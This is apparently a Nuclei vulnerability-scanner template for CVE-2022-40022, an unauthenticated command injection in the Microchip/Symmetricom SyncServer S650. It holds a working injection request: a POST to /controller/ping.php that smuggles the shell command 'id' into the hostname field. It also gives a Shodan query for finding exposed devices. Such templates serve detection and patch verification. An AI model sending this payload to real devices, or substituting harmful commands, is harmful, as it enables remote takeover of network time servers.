id: CVE-2022-40022

info:
  name: Symmetricom SyncServer Unauthenticated - Remote Command Execution
  author: DhiyaneshDK
  severity: critical
  description: |
    Microchip Technology (Microsemi) SyncServer S650 was discovered to contain a command injection vulnerability.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary commands on the affected device.
  remediation: |
    Apply the latest security patches or firmware updates provided by the vendor to mitigate this vulnerability.
  reference:
    - http://packetstormsecurity.com/files/172907/Symmetricom-SyncServer-Unauthenticated-Remote-Command-Execution.html
    - https://nvd.nist.gov/vuln/detail/CVE-2022-40022
    - https://www.microsemi.com/campaigns/network-time-servers/S650p/%3Fgd%3D1&id=5&gclid=Cj0KCQjwjbyYBhCdARIsAArC6LL-202ej5YfDB5lMIMSZ2735qjo5yaj2i-PrvLv2Cnh_kIJtFJ0oF8aAlMpEALw_wcB
    - https://www.microsemi.com/campaigns/network-time-servers/syncserver-s600/?url=
    - https://www.microsemi.com/document-portal/doc_download/135737-datasheet-syncserver-s650
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-40022
    cwe-id: CWE-77
    epss-score: 0.82869
    epss-percentile: 0.98341
    cpe: cpe:2.3:o:microchip:syncserver_s650_firmware:-:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 1
    vendor: microchip
    product: syncserver_s650_firmware
    shodan-query: html:"Symmetricom SyncServer"
  tags: cve,cve2022,packetstorm,syncserver,rce,unauth,microchip

http:
  - raw:
      - |
        POST /controller/ping.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Referer: {{RootURL}}/controller/ping.php

        currentTab=ping&refreshMode=&ethDirty=false&snmpCfgDirty=false&snmpTrapDirty=false&pingDirty=false&hostname=%60id%60&port=eth0&pingType=ping

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "text/html"

      - type: regex
        part: body
        regex:
          - "uid=([0-9(a-z)]+)"

      - type: status
        status:
          - 302
# digest: 4b0a00483046022100aa89454b284e35f82c58b79db719d9270edf456761c8aa7bded1254e7a8fd8fb022100a95aa00978443217fc6d8c9d178a21856ac5ac6e5aa0dcd44bcfb2ce9448c58d:922c64590222798bb761d5b6d8e72950